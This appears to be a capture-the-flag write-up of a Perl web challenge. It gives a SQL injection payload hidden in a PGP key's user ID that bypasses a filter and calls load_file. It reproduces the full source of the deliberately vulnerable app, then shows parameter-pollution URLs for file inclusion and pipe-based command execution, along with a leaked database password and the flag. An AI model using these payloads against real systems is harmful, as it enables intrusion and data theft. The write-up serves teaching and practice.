Professor M. Eista Hax uses a digital tool to manage all his students. He is very happy with the system, but it does have one drawback: it does not support multiple users. This is a problem, because M. Eista Hax has employees who need access as well. To solve this he writes a super modern, highly encrypted web application to share the password with authorized users. Problem solved.

So… Get that key!

link

Challenge Overview

This so-called super modern web application (spoiler alert: don’t laugh, it’s written in perl) allows students to either register or login. Registration can be accomplished simply by submitting a valid public PGP key. Once the upload is completed, the website renders a message encrypted with the provided key. By decrypting the text it is now possible to recover the random password associated with the email address specified in the public key.

As an example, we create a PGP keypair for the user ID marco@c00kiesland.com

0 $ gpg --list-packets marco.pub 
:public key packet:
version 4, algo 17, created 1445564016, expires 0
pkey[0]: [1024 bits]
pkey[1]: [160 bits]
pkey[2]: [1024 bits]
pkey[3]: [1023 bits]
keyid: 4F016C493CD7F95F
:user ID packet: "Marco <marco@c00kiesland.com>"
:signature packet: algo 17, keyid 4F016C493CD7F95F
version 4, created 1445564016, md5len 0, sigclass 0x13
digest algo 2, begin of digest 72 df
hashed subpkt 2 len 4 (sig created 2015-10-23)
subpkt 16 len 8 (issuer key ID 4F016C493CD7F95F)
data: [159 bits]
data: [160 bits]
:public sub key packet:
version 4, algo 16, created 1445564016, expires 0
pkey[0]: [512 bits]
pkey[1]: [509 bits]
pkey[2]: [511 bits]
keyid: B8966CB7598AEC00
:signature packet: algo 17, keyid 4F016C493CD7F95F
version 4, created 1445564016, md5len 0, sigclass 0x18
digest algo 2, begin of digest f0 af
hashed subpkt 2 len 4 (sig created 2015-10-23)
subpkt 16 len 8 (issuer key ID 4F016C493CD7F95F)
data: [160 bits]
data: [160 bits]

The message printed by the website, after decryption, is the following:

Hello marco@c00kiesland.com, here is your password: rZuwrXMhelUFe7kPIRgkVSM6arveii. Your account has to be activated by an admin.

As this sentence suggests, it is not possible to authenticate to the system using these credentials. If we try to submit that email / password combination, the website kindly refuses to proceed by printing

Wrong login data or deactivated account.

Exploitation - Step 1: SQLi

After some attempts, we noticed that the email field of the public PGP key can be exploited to cause a SQL injection in the application backend. Since there are no activated accounts, our aim is to access the website source code to look for other vulnerabilities which may lead to file inclusion or remote command execution. Indeed, we were able to dump the sources by providing the following payload as email address within the uploaded key:

0 $ gpg --list-packets marco_dump.pub | grep 'user ID'
:user ID packet: "marco (test) <' unionunion selectselect hex((load_file(('/var/www/public/index.pl')))),1,1,1,1 -- ->"

Some statements and brackets were repeated to bypass a simple SQL injection filter. The source code location has been recovered by dumping the lighttp webserver configuration file found in /etc/lighttp/lighttp.conf.

Exploitation - Step 2: Perl Insanity

The full source code of the application is depicted below:

#!/usr/bin/perl
# Retardo code on purpose :P
# Iz retardo world.

use CGI;
use DBI;
use Digest::MD5 qw(md5_hex);
use Digest::SHA qw(sha256_hex);
use Crypt::Eksblowfish::Bcrypt qw(bcrypt_hash);
use Config::IniFiles;
use MIME::Base64;
use Shadowd::Connector::CGI;

undef $/;
my $upload_dir = '/tmp/';

my $cfg = Config::IniFiles->new(-file => "../private/config.ini");
my $dbh = DBI->connect('DBI:mysql:database=ctf', 'ctf', $cfg->val('Database', 'Password'));

sub get_template {
my $filename = shift;

open (FILE, $filename);
my $output = <FILE>;
close(FILE);

return $output;
}

sub print_template {
my $filename = shift;

print get_template($filename);
}

sub escape_string {
my $input = shift;
my @bad = ('\(', '\)', '\=', '\+', '\|', '\&', '\%', ';', 'union', 'select');

foreach my $element (@bad) {
$input =~ s/$element//si;
}

return $input;
}

sub gen_password {
my @chars = ("A".."Z", "a".."z", "0".."9");

my $string;
$string .= $chars[rand @chars] for 1..30;

return $string;
}

sub get_hash {
my $input = shift;

$input = bcrypt_hash({
key_nul => 1,
cost => 8,
salt => '1234' x 4,
}, $input);

return sha256_hex($input);
}

sub do_gpg {
my $path = shift;

my $data1 = `gpg --list-packets $path`;

if (!$data1) {
return 'Invalid gpg pubkey file.';
}

my @data2 = split("\n", $data1);
my @data3 = grep(/user ID packet/, @data2);

if ($#data3 < 0) {
return 'No user id found.';
}

my $user_id;

if ($data3[0] =~ /\:user ID packet\: "(.*)"/) {
my $id1 = $1;

if (!$id1) {
return 'User id is empty.';
} elsif ($id1 =~ /<(.*?)>/) {
$user_id = escape_string($1);
} else {
$user_id = escape_string($id1);
}
} else {
return 'User id is strange.';
}

my $data4 = `gpg --import $path 2>&1`;
my @data5 = split("\n", $data4);
my @data6 = grep(/gpg: key/, @data5);

if ($#data6 < 0) {
return 'No key found.';
}

my $pub_id;

if ($data6[0] =~ /gpg\: key ([\w]*)/) {
$pub_id = $1;
} else {
return 'Key is strange.';
}

my $sth_select = $dbh->prepare("SELECT * FROM accounts WHERE user_id = '" . $user_id . "'");
$sth_select->execute();

if ($sth_select->err) {
return "Could not execute database query.";
}

my $msg;

if (!$sth_select->rows) {
my $password = gen_password();

my $sth_insert = $dbh->prepare("INSERT INTO accounts (path, user_id, pass, activated) VALUES (?, ?, ?, false)");
$sth_insert->execute($path, $user_id, get_hash($password));

$msg = 'Hello ' . $user_id . ', here is your password: ' . $password . '. Your account has to be activated by an admin.';
} else {
$msg = 'Account already existing: ';

while (my $ref = $sth_select->fetchrow_hashref()) {
$msg .= '(' . $ref->{'id'} . ') ' . $user_id . ' ';
$msg .= '[' . ($ref->{'path'} == $path ? 'same' : 'different') . ' key]';
}
}

my $base64_msg = encode_base64($msg);
return `echo '$base64_msg' | base64 -d | gpg -r $pub_id -a --batch --always-trust --encrypt --ignore-valid-from`;
}

sub do_login {
my $email = shift;
my $password = shift;

my $sth_select = $dbh->prepare("SELECT * FROM accounts WHERE user_id = ? AND pass = ? AND activated = true");
$sth_select->execute($email, get_hash($password));

return ($sth_select->rows > 0);
}

my $post_max = 1024 * 10;
$CGI::POST_MAX = $post_max;
my $query = new CGI;

print "Content-type: text/html\n\n";

my $content_length = defined $ENV{'CONTENT_LENGTH'} ? $ENV{'CONTENT_LENGTH'} : 0;
if ($content_length > $post_max) {
print 'Too much data.';
exit;
}

my $email = $query->param('email');
my $password = $query->param('password');

my %templates = (
header => 'templates/header.html',
footer => 'templates/footer.html',
form => 'templates/form.html',
error => $query->param('error')
);

print_template($templates{header});
print '<div class="output">';

if ($email && $password) {
if (do_login($email, $password)) {
print 'The administration key for the grades is ' . $cfg->val('CTF', 'Flag') . '.';
} else {
print 'Wrong login data or deactivated account.';
}
} elsif ($email || $password) {
print 'You have to enter an e-mail address and a password.';
}

if ($query->param('gpg_file')) {
my $file = $query->upload('gpg_file');
my $input = <$file>;

# Secruti first!
if ($input =~ /^([\w\s=..:;()!\/+-]*)$/s) {
my $path = $upload_dir . md5_hex($input);

open (UPLOADFILE, '>' . $path) or die $!;
binmode UPLOADFILE;
print UPLOADFILE $input;
close UPLOADFILE;

print do_gpg($path);
} else {
print 'Invalid gpg key. Please use an ASCII-armored format.';
}
}

print '</div>';
print_template($templates{form});
print_template($templates{footer});

In short, the application includes a configuration file ../private/config.ini containing the flag and prints it upon successful logins. The website also accepts a PGP public key via the gpg_file parameter and stores the file under /tmp/<md5(key)>. As previously stated, there are no active users in the database, hence abusing the login function does not sound like a good idea.

By carefully reading the index.pl file, we noticed a curious definition of the templates dictionary:

my %templates = (
header => 'templates/header.html',
footer => 'templates/footer.html',
form => 'templates/form.html',
error => $query->param('error')
);

This data structure is used to quickly access the file names of the HTML template. Indeed, HTML files are rendered using the print_template() function which calls the get_template() function responsible of reading a file from the filesystem and returning its content. Let’s go back to the templates dictionary: what’s so weird about it? Well, the error key is assigned a value straight from the GET parameter error, but then print_template($templates{error}) is used nowhere in the code… It should be clear that if we were able to print arbitrary contents from the filesystem we could just dump the ../private/config.ini configuration file (which is not readable via the SQLi due to missing permissions) and obtain the flag.

But ehy, Perl is such a messy language :) Thanks to a brilliant talk given by Netanel Rubin at the 31th Chaos Communication Congress, we managed to discover some tricks needed to include arbitrary files and solve the challenge.

Abusing $cgi->param()

If we provide to the application multiple GET parameters with the same name, instead of saving only the first value as found in the HTTP request, Perl makes a list out of them. For instance, if we request

index.pl?error=a&error=b&error=c

by printing $cgi->param('error') we obtain the list ('a', 'b', 'c'). Gross!!!

Abusing lists in hashes

Lists in hashes expand the hash. Thank you Perl! Believe it or not, but given this program

use Data::Dumper;

@list = ('a', 'b', 'c');
$hash = {
'x' => 'q',
'y' => 'w',
'z' => @list
};
print Dumper($hash);

the actual output is the following

$ perl omg.pl
$VAR1 = {
'z' => 'a',
'b' => 'c',
'x' => 'q',
'y' => 'w'
};

/o\

Mixing it all together

Now it should be clear that via an HTTP parameter pollution attack we can extend the templates dictionary and overwrite the value associated with one of the template components, e.g., footer, in order to get the contents of an arbitrary file. Our payload looks like

https://school.fluxfingers.net:1501/?error=wtf&error=footer&error=../private/config.ini

And, as expected, the application prints the flag instead or rendering the footer

[Database] Password=ghjASGe46456fghSADVukdgdfg [CTF] Flag=flag{perlroxorsyourboxors}

Bonus: RCE!

Did you know that using the open() function, if the filename begins with a |, the filename is interpreted as a command to which output is to be piped, and if the filename ends with a |, the filename is interpreted as a command which pipes output to us link? By reading the get_template() function, we are free to put whatever we want as a filename

sub get_template {
my $filename = shift;

open (FILE, $filename);
my $output = <FILE>;
close(FILE);

return $output;
}

and easily achieve command execution by appending a pipe to our command, using the parameter pollution attack previously described

https://school.fluxfingers.net:1501/?error=wtf&error=footer&error=id|
uid=33(www-data) gid=33(www-data) groups=33(www-data)

https://school.fluxfingers.net:1501/?error=wtf&error=footer&error=uname%20-r|
3.13.0-65-generic

Clearly, one could have also printed the flag just by using cat

https://school.fluxfingers.net:1501/?error=wtf&error=footer&error=cat%20/var/www/private/config.ini|
[Database] Password=ghjASGe46456fghSADVukdgdfg [CTF] Flag=flag{perlroxorsyourboxors}

Thanks lama for this funny challenge, Perl is soooooo gross!!!